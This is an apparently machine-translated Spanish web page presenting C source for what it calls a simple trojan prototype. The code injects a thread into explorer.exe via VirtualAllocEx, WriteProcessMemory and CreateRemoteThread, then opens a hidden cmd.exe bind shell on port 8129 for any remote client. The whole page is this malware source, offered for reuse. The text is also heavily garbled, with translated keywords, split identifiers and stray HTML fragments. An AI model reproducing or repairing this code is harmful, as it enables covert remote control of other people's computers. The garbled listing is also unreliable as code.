Colección de código fuente de Tp
Agregue su propio XXX al código base de un prototipo troyano simple, agregue un shell de excepción y realice algunas modificaciones menores. .
# incluir & ltwinsock2.h & gt
#pragma comment(lib, "ws2_32.lib")
# incluir & ltwindows.h & gt
# incluir & ltShlwapi.h & gt
#pragma comentario(lib, " Shlwapi.lib ")
# incluir & lttlhelp32.h & gt
# include & ltstdio.h & gt
# include & ltstring.h & gt
//Estructura de parámetros;
estructura typedef _RemotePara
{
DWORD dwLoadLibrary
DWORD dwFreeLibrary
DWORD dwGetProcAddress
DWORD dwGetModuleHandle
DWORD dwWSAStartup
DWORD dwSocket
DWORD dwhtons
DWORD dwbind
DWORD dwlisten
DWORD dwaccept
DWORD dwsend
DWORD dwrecv
DWORD dwclosesocket
DWORD dwCreateProcessA
DWORD dwPeekNamedPipe
DWORD dwWriteFile
DWORD dwReadFile
DWORD dwCloseHandle
DWORD dwCreatePipe
DWORD dwTerminateProcess
DWORD dwMessageBoxchar strMessageBox[ 12];
char winsockDll[16];
char cmd[10];
char Buff[4096];
char winsockDll[16]; p>
char telnetmsg[60];
} RemotePara//Mejorar los permisos de depuración a nivel de aplicación
BOOL enable privilegio(HANDLE hto ken, LPCTSTR szPrivName , BOOL fEnable);
//Obtiene el ID del proceso según el nombre del proceso.
DWORD GetPidByName(char * SZ name); //Ejecutor de hilo remoto
DWORD _ _ stdcall thread proc(remote Para * Para)
{< / p>
WSADATA WSAData
Conversión de palabras;
Socket listeningSocket
Cliente SOCKET SOCKETstruct sockaddr _ en servidor _ addr
struct sockaddr _ en client _ addrint iAddrSize = sizeof(client _ addr); SECURITY _ ATTRIBUTES sa handle thread pipe 1
Proceso hwritepipe
Proceso hReadPipe2 p>
Proceso hWritePipe2STARTUPINFO si
Process_Information información del proceso;
Unsigned long lBytesRead = 0; typedef hin instancia(_ _ stdcall * cargar biblioteca)(char *);
typedef FARPROC(_ _ stdcall * PGetProcAddress)(HMODULE, LPCSTR);
typedef h instancia(_ _ stdcall * PFreeLibrary)(h instancia);
typedef hin instancia(_ _ stdcall * PGetModuleHandle)(HMODULE); FARPROC PMessageBoxA
FARPROC PWSAStartup
FARPROC PSocket
FARPROC Phtons
FARPROC Pbind
FARPROC Presten;
FARPROC Paccept
FARPROC Psend
FARPROC Precv
FARPROC Pclosesocket
FARPROC PCreateProcessA
FARPROC PPeekNamedPipe
FARPROC PWriteFile
FARPROC PREReadFile
FARPROC PCloseHandle
FARPROC PCreatePipe
Terminar el proceso;cargar biblioteca loadlibrary func =(cargar biblioteca)Para-& gt;dwLoadLibrary
PGetProcAddress GetProcAddressFunc =(PGetProcAddress) Para-& gt;dwGetProcAddress
PFreeLibrary freelibrary func =(PFreeLibrary)Para-& gt;dwFreeLibrary
PGetModuleHandle GetModuleHandleFunc =(PGetModuleHandle)Para-& gt;dwGetModuleHandleLoadLibraryFunc(Para-& gt ;winsockDll);PWSAStartup =(FARPROC)Par
a-& gt;dwWSAStartup
PSocket = (FARPROC)Para->dwSocket
Phtons = (FARPROC)Para->dwhtons
Pbind = (FARPROC) Para->dwbind
Plisten = (FARPROC)Para->dwlisten
Paccept = (FARPROC)Para->dwaccept
Psend = (FARPROC)Para- >dwsend
Precv = (FARPROC)Para->dwrecv
pclosesocket = (FARPROC)Para->dwclosesocket
PCreateProcessA = (FARPROC)Para- > dwCreateProcessA
PPeekNamedPipe =(FARPROC)Para-& gt;dwPeekNamedPipe
PWriteFile =(FARPROC)Para-& gt;dwWriteFile
PReadFile = (FARPROC) Para ->dwReadFile
PCloseHandle =(FARPROC)Para-& gt;dwCloseHandle
PCreatePipe = (FARPROC)Para->dwCreatePipe
PTerminateProcess =(FARPROC) Para ->dwTerminateProcess
PMessageBoxA = (FARPROC)Para->dwMessageBoxnVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)&wsa data);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if (escuchar SOCKET == INVALID _ SOCKET) devuelve 0; server_adr . >
server_addr.sin_port = Phtons((unsigned short)(8129));
server _ addr . sin _ addr s _ addr = in addr _ ANY; estructura sockaddr *) y server_addr, tamaño de (SOCKADDR_IN))! = 0) devuelve 0;
if(Plisten(listenSocket, 5)) devuelve 0;
socket de cliente = p aceptar(socket de escucha, (struct sockaddr *)& extremo del cliente dirección. iAddrSize);
// Psend(clientSocket, Para-> telnetmsg, 60, 0)) return 0; p>
if (!PCreatePipe(& hReadPipe2.
hwritepipe 2 & sa, 0)) devuelve 0; memoria cero (& si, sizeof (si)); // ZeroMemory es una función de biblioteca de tiempo de ejecución de C que se puede llamar directamente.
si .dw flags = STARTF _ USESHOWWINDOW | STARTF _ USESTDHANDLES;
si.wShowWindow = SW _ HIDE
si hstd input = hread pipe 2;
si . hstd salida = si . hstd error = hwritepipe 1; if (! PCreateProcessA(NULL, Para->cmd, NULL, NULL, 1, 0, NULL, NULL & amp; si & ampProcessInformation) ) devuelve 0;
while(1) {
Conjunto de memoria (Para->; Buff, 0.4096
PPeekNamedPipe(hreadpipe 1, Para-&); gt Buff, 4096 & lBytesRead, 0, 0);
if(lBytesRead) {
if (!PReadFile(hReadPipe1, Para-& gt;Buff, lBytesRead & amp; ;lBytesRead, 0))break;
if (!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;
}else{
lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);
if (lBytesRead<=0) desconectado;
If (! PWriteFile(hWritePipe2, Para -> Buff, lBytesRead y lBytesRead, 0)) romper
}
} PCloseHandle(hwritepipe 2
PCloseHandle(hreadpipe 1);
pclose handle(hread pipe 2);
PCloseHandle(hwritepipe 1);
pclosesocket(listen socket);
pclosesocket( socket de cliente); // PMessageBoxA(NULL, Para-> strMessageBox, Para-> strMessageBox, MB_OK return 0;
} int entrada API WinMain(h instancia h instancia,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
const DWORD THREADSIZE = 1024 * 4;
Escritura de bytes DWORD;
void * pRemoteThread
Proceso hToken, hRemoteProcess, hThread
HINSTANCE hKernel, hUser32, hSock
RemotePara myRemotePara, *pRemotePara
DWORD pIDOpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES y amph
to ken);
EnablePrivilege(hToken, SE_DEBUG_NAME, TRUE); //Obtiene el identificador del proceso especificado y establece sus permisos en PROCESS_ALL_ACCESS.
pID = GetPidByName("EXPLORER.EXE");
if(pID == 0) devuelve 0
hRemoteProcess = open PROCESS(PROCESS _ ALL; _ ACCESS, FALSE, pID);
Si (!hRemoteProcess) devuelve 0; //Asignar memoria virtual en el espacio de direcciones del proceso remoto
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE , MEM_COMMIT | MEM_RESERVED, PAGE_EXECUTE_READ-WRITE);
Si (!pRemoteThread) devuelve 0 //Escribe el ejecutor del hilo ThreadProc en el proceso remoto.
if (!WriteProcessMemory(hRemoteProcess,pRemoteThread,&ThreadProc,THREADSIZE,0)) devuelve 0;memoria cero(&myRemotePara,sizeof(remote para));
hKernel = LoadLibrary ("kernel 32. dll");
myremotepara. dwloadlibrary =(DWORD)GetProcAddress(hKernel, "loadlibrary a");
myremotepara. , "biblioteca gratuita");
myremotepara . dwgetprocaddress = (DWORD) GetProcAddress (hKernel, " GetProcAddress ");
dwgetmodulehandle = (DWORD) GetProcAddress (hKernel, " GetModuleHandleA. "); myremotepara . dwcreateprocessa = (DWORD) GetProcAddress (hKernel, " CreateProcessA ");
myremotepara . dwpeeknamedpipe = (DWORD) GetProcAddress (hKernel, " PeekNamedPipe ");
myremotepara dw WriteFile = (DWORD) GetProcAddress (hKernel, " WriteFile "); p >
myremotepara . dwreadfile = ( DWORD ) GetProcAddress ( hKernel, " ReadFile "); (DWORD) GetProcAddress (hKernel, " CloseHandle ");
myremotepara . dwcreatepipe = (DWORD) GetProcAddress ( hKernel, " crear tubería "); GetProcAddress(hKernel, "terminar proceso"); hSock = LoadLibrary(" wsock 32 . dll ");
myremotepara
myremotepara.dw socket=(DWORD)GetProcAddress(hSock, "socket");
myremotepara.dwhtons=(DWORD)GetProcAddress(hSock, "htons");
myremotepara . dw bind =(DWORD)GetProcAddress(hSock, "bind");
myremotepara .
=(DWORD)GetProcAddress(hSock, "escuchar");
myremotepara . DWORD)GetProcAddress(hSock, "recv");
myremotepara.dwsend = (DWORD)GetProcAddress(hSock, "send");
myremotepara.dwclosesocket = (DWORD)GetProcAddress( hSock, "closesocket"); huser 32 = LoadLibrary(" usuario 32 . dll ");
myremotepara . dw messagebox = (DWORD) GetProcAddress(huser 32, " messagebox a "); strmessagebox, "¡Éxito!\\0");
strcat(myRemotePara.winsockDll, "wsock 32. dll\\0");
strcat(myRemotePara.cmd, "cmd .exe \ \ 0 ");
strcat(myRemotePara.telnetmsg, "¡Conexión exitosa! \ \ n \ \ 0 "); //Escribe en el proceso de destino
pRemotePara = ( remoto para *)VirtualAllocEx(hRemoteProcess, 0, sizeof(RemotePara), mem_submit, page_read-write);
if (!pRemotePara) devuelve 0;
if (! WriteProcessMemory( hRemoteProcess, pRemotePara y ampmyRemotePara, sizeof myRemotePara, 0)) devuelve 0 //Iniciar hilo
hThread = CreateRemoteThread(hRemoteProcess, 0, 0, (DWORD(_ _ stdcall *)(void * )) pRemoteThread, pRemotePara, 0 y bytes_write);
while(1) {}
biblioteca gratuita (hKernel);
biblioteca gratuita (hSock);
Biblioteca gratuita(huser 32);
cerrar identificador(hRemoteProcess);
cerrar identificador(hto ken);
} BOOL habilitar privilegio(HANDLE hToken, LPCTSTR szPrivName, BOOL fEnable){
TOKEN _ PRIVILEGES tp
tp. PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName, &tp.Permissions[0].luid);
tp. Permisos[0].
Atributos = fActivar? SE_private_ENABLED:0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
return((GetLastError()== ERROR _ SUCCESS));
}DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID _ HANDLE _ VALUE;
entrada de proceso 32 pe32 = { 0 };
DWORD dwRet = 0; hProcessSnap = createtoolhelp 32 instantánea(th 32 cs _ proceso instantáneo, 0);
if(hProcessSnap = = INVALID _ HANDLE _ VALUE ) devuelve 0; pe32 . dwsize = sizeof(entrada de proceso 32);
if(Process32First(hProcessSnap, & amppe32))
{
Hacer p>
{
if(StrCmpNI(szName, pe32.szExeFile, strlen(szName))==0)
{
dw ret = pe32 .th 32 ID de proceso;
romper;
}
} while(proceso 32 siguiente(hProcessSnap, & amppe32));
}
De lo contrario, devuelve 0; if(hProcessSnap!= INVALID _ HANDLE _ VALUE)close HANDLE(hProcessSnap);
Devuelve dwRet